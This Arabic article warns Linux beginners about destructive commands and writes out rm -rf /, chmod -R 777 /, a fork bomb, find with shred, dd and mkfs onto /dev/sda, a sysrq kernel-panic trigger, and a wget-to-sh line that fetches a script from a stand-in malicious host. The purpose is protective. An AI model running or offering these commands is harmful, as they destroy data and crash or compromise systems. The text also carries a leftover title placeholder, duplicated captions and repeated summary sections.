بحث
7 أوامر لينكس قاتلة يجب تجنبها (50-60 حرف)
البرمجة #أوامر_لينكس_القاتلة #فقدان_البيانات

7 أوامر لينكس قاتلة يجب تجنبها (50-60 حرف)

منذ 18 ساعة 8 مشاهدة 0 تعليق 1 دقائق قراءة
8 مشاهدة
0 إعجاب
0 تعليق
موثوق 95%

أفضل ما في نظام لينكس هو أنه يحترم مستخدميه. يقوم بتنفيذ ما تطلبه بالضبط. هل تريد إنهاء برنامج؟ أرسل أمر الإنهاء وسيتم إنهاؤه دون تحذير. لكن أسوأ ما في لينكس هو أنه يقوم أيضًا بما تطلبه بالضبط. إليك ما أعنيه.

خدعة "إزالة حزمة اللغة الفرنسية" القديمة

هناك ميم على الإنترنت حيث يدعي الناس أنهم سيساعدونك في إزالة حزمة اللغة الفرنسية من جهاز لينكس الخاص بك باستخدام هذا الأمر.

sudo rm -fr --no-preserve-root

أو هذا الأمر:

sudo rm -fr /*

ما يفعله فعليًا هو مسح جهاز الكمبيوتر الخاص بك بالكامل - نظام التشغيل بالكامل وكل ملف على كل قرص متصل.

غالبًا ما يقع المبتدئون في لينكس ضحية لمثل هذه المقالب. يبدو أن حتى نظرة الذكاء الاصطناعي من جوجل وقعت في الفخ. إنه شائع بما يكفي لدرجة أن مطوري لينكس اضطروا إلى بناء آلية أمان تمنع حذف الدليل الجذر. الجزء "-no-preserve-root" من الأمر يتجاوز تلك الفحوصات الأمنية.

إليك كيف يعمل الأمر فعليًا.

  1. الجزء "sudo" يعني أنك تخبر لينكس بتشغيل هذا الأمر بامتيازات المستخدم الخارق.
  2. الأمر "rm" أو أمر الحذف يقوم بحذف الملفات دون تحذير وبشكل مباشر (لا توجد سلة مهملات هنا).
  3. علامة "fr" أو "rf" تضمن استمرار الأمر في العمل بشكل متكرر من جذر نظام الملفات إلى آخر ملف ومجلد. هذا ما يمثله "/*" في الأمر - إنه يشير إلى كل شيء في الدليل الجذر.
The command that erases everything on Linux.
The command that erases everything on Linux.

أمر 777

في أنظمة ملفات لينكس، كل ملف ومجلد له أذونات محددة. بعض الملفات قابلة للقراءة فقط، والبعض الآخر قابل للكتابة أو التعديل، والبعض يمكن تشغيله كملفات تنفيذية. أمر "تغيير الوضع" أو "chmod" يتيح لك تعديل تلك الأذونات لأي ملف أو دليل معين. في معظم الأوقات، تستخدمه لجعل الملفات قابلة للتنفيذ أو الكتابة.

ومع ذلك، هناك أمر خطير يستخدم "chmod" لجعل كل ملف على نظامك قابلًا للتنفيذ والكتابة لأي مستخدم أو عملية.

sudo chmod -R 777 /
  1. الجزء "sudo" يقوم بتشغيل الأمر بامتيازات المستخدم الخارق.
  2. الأمر "chmod -R 777" يمنح بشكل متكرر أذونات القراءة والكتابة والتنفيذ.
  3. الشريط في النهاية يخبر الأمر باستهداف الدليل الجذر والعمل عبر كل دليل.
File permissions being changed in real-time.
File permissions being changed in real-time.

لا يكسر النظام على الفور، لكن العديد من البرامج النظامية التي تعتمد على تكوين أذونات محددة تتوقف عن العمل. جهازك يصبح معرضًا للخطر على الفور لأن أي عملية يمكنها الآن رؤية وتعديل الملفات الحساسة مثل كلمات المرور أو التكوينات. قد لا يتمكن الكمبيوتر حتى من الإقلاع.

لا توجد أيضًا طريقة للتراجع عن هذا الأمر. إذا قمت بتشغيله، سيتعين عليك إعادة تثبيت نظام التشغيل الخاص بك لاستعادة ملفاتك إلى وضعها الطبيعي.

حذف جميع مهام الكرون

يتعامل لينكس مع المهام النظامية التلقائية مثل تنظيف الملفات، التحديثات، والصيانة من خلال شيء يسمى "مهام الكرون". هذه المهام المجدولة تعمل تلقائيًا، لكن هناك أمر يمكنه إزالة جميع مهام الكرون النظامية وتعطيل نظام التشغيل الخاص بك.

sudo rm -rf /etc/cron.d/*

قنبلة الرموز التعبيرية

هذا الأمر يبدو كأنه مجموعة من الرموز التعبيرية، لكن تشغيله سيتسبب في تعطل جهاز الكمبيوتر الخاص بك على الفور. قد يتجمد أولاً ويصبح غير مستجيب، أو حتى يغلق.

:(){ :|:& };:

تسمى هذه القنبلة قنبلة Fork. إليك ما تفعله:

  1. :() تنشئ دالة وهذه الدالة محاطة بالأقواس {}.
  2. الأنبوب ":|:" يجعلها تعمل بشكل متكرر.
  3. "& و ; و :" يقومون بتشغيل العملية وينقلونها إلى الخلفية بحيث لا يمكن إنهاؤها بسهولة.

لن تتمكن من حفظ عملك بمجرد بدء هذا الأمر، ومن المحتمل أنك ستحتاج إلى إعادة تشغيل جهاز الكمبيوتر الخاص بك لإعادته إلى الوضع الطبيعي.

أمر البحث الذي يمحو كل شيء بشكل دائم

يبدأ هذا الأمر بـ "find"، مما يجعله يبدو كما لو كنت تقوم فقط بإجراء بحث بسيط بينما هو في الواقع مدمر للغاية لنظامك.

sudo find / -type f -exec shred -n 5 -z -u {} +

يمحو كل البيانات على جهازك، بما في ذلك نظام التشغيل بالكامل، ومن المستحيل استعادة أي منها.

  1. "find / -type f" يبحث عن كل ملف، بدءًا من الدليل الجذر ويتقدم للأمام.
  2. "-exec" ينفذ أمر "shred" بجانبه.
  3. "Shred" هو أداة في لينكس تحذف الملفات وتكتب فوقها ببيانات عشوائية بحيث لا يمكن استعادتها بدون نسخة احتياطية. علامات "-n 5 -z -u" تكرر تلك العملية أكثر من خمس مرات لضمان اختفاء كل أثر للملفات وأي دليل على عملية التمزيق.
Shred utility has shredded all files on this Linux machine.
Shred utility has shredded all files on this Linux machine.

مدمر الأقراص

مكرر البيانات أو 'dd' هو أداة في لينكس، تُستخدم بشكل أساسي لحرق أو استنساخ الأقراص وصنع محركات USB قابلة للإقلاع. يتفاعل مكرر البيانات مباشرة مع الأقراص بدلاً من نظام الملفات، لذا تحتاج إلى معرفة ما تفعله بالضبط، أو تخاطر بفقدان البيانات أو تلفها بشكل خطير.

إنه يحمل لقب "مدمر الأقراص" لأنه ليس لديه أي حواجز أمان أو فحوصات. غالبًا ما يمسح الناس أقراصهم أو أنظمة تشغيلهم بالكامل عن طريق الخطأ باستخدام "dd"، مما أكسبه هذا اللقب السيئ السمعة.

على سبيل المثال، تشغيل أمر مثل هذا سيحذف كل شيء على القرص دون إمكانية الاسترداد.

dd if=/dev/urandom of=/dev/sda

The
The

ذعر النواة الفوري

لحماية ملفاتك وأجهزتك من الأخطاء التي يمكن أن تلحق الضرر بها، يحتوي لينكس على صمام أمان ينشط على الفور ويغلق الكمبيوتر. يُسمى هذا "ذعر النواة". يقوم ويندوز بشيء مشابه مع شاشة الموت الزرقاء أو BSOD.

هناك أمر يمكنه تفعيل ذعر النواة على الفور وتعطيل جهاز الكمبيوتر الخاص بك.

sudo bash -c 'echo c > /proc/sysrq-trigger'

يكتب الكلمة "c" في ملف نظام حرج مما يؤدي إلى تفعيل خطأ لا يمكن استرداده ويؤدي إلى ذعر النواة.


قبل إدخال أمر أو تشغيل نص برمجي، تأكد من أنك تعرف بالضبط ما يفعله. ليس من الآمن أبدًا تشغيل أوامر غير معروفة من الإنترنت لأنها قد تتسبب في تعطل جهاز الكمبيوتر الخاص بك أو محو كل شيء دون تحذير.

في عالم لينكس، هناك بعض الأوامر التي يجب تجنبها بأي ثمن، حيث يمكن أن تؤدي إلى فقدان البيانات أو حتى تعطيل النظام بالكامل.

في هذا الجزء، سنستعرض سبعة أوامر خطيرة يجب أن تكون على دراية بها، حتى لا تجد نفسك في موقف صعب.

7 أوامر يجب ألا تقوم بتشغيلها على لينكس

تأكد من أن لديك فهمًا جيدًا لما تفعله قبل تنفيذ أي أمر في سطر الأوامر. الأوامر التالية قد تكون مدمرة إذا تم استخدامها بشكل غير صحيح.

  • rm -rf /: هذا الأمر سيقوم بحذف جميع الملفات والمجلدات في النظام، مما يؤدي إلى فقدان البيانات بشكل نهائي.
  • mkfs.ext4 /dev/sda: هذا الأمر يقوم بتنسيق القرص الصلب، مما يعني أنك ستفقد جميع البيانات الموجودة عليه.
  • dd if=/dev/zero of=/dev/sda: هذا الأمر سيكتب بيانات صفرية على القرص الصلب، مما يؤدي إلى فقدان جميع البيانات.
  • :(){ :|:& };:: هذا الأمر هو نوع من هجوم "Fork Bomb"، حيث سيؤدي إلى استهلاك جميع موارد النظام، مما يجعله غير قابل للاستخدام.
  • shutdown -h now: هذا الأمر سيؤدي إلى إيقاف تشغيل النظام على الفور، مما قد يتسبب في فقدان البيانات إذا لم يتم حفظها.
  • chmod -R 777 /: هذا الأمر سيمنح جميع المستخدمين صلاحيات كاملة على جميع الملفات، مما يعرض النظام للخطر.
  • wget http://malicious-website.com/malware.sh -O- | sh: هذا الأمر يقوم بتحميل وتنفيذ سكربت ضار من الإنترنت، مما قد يؤدي إلى اختراق النظام.

تجنب هذه الأوامر وكن حذرًا عند التعامل مع سطر الأوامر في لينكس. المعرفة هي أفضل وسيلة للحماية.

هذا هو الجزء الأخير من مقالنا حول الأوامر القاتلة في نظام لينكس. لقد استعرضنا في الأجزاء السابقة بعض الأوامر التي يمكن أن تكون خطيرة إذا تم استخدامها بشكل غير صحيح. في هذا الجزء، سنقوم بتلخيص النقاط الرئيسية التي تم تناولها.

تذكر دائمًا أن استخدام الأوامر في نظام لينكس يتطلب حذرًا شديدًا، خاصةً الأوامر التي قد تؤدي إلى فقدان البيانات أو تعطل النظام. من المهم أن تكون على دراية بما تفعله قبل تنفيذ أي أمر.

إذا كنت مبتدئًا، يُفضل أن تتجنب استخدام الأوامر التي تم ذكرها في المقال، أو على الأقل تأكد من أنك تفهم تأثيرها تمامًا. كما يُنصح دائمًا بعمل نسخ احتياطية من البيانات المهمة.

في النهاية، نأمل أن يكون هذا المقال قد زودك بالمعلومات الضرورية حول الأوامر الخطيرة في لينكس وأن يساعدك في استخدام النظام بشكل آمن وفعال.

التعليقات 0

سجل دخولك لإضافة تعليق

لا توجد تعليقات بعد. كن أول من يعلق!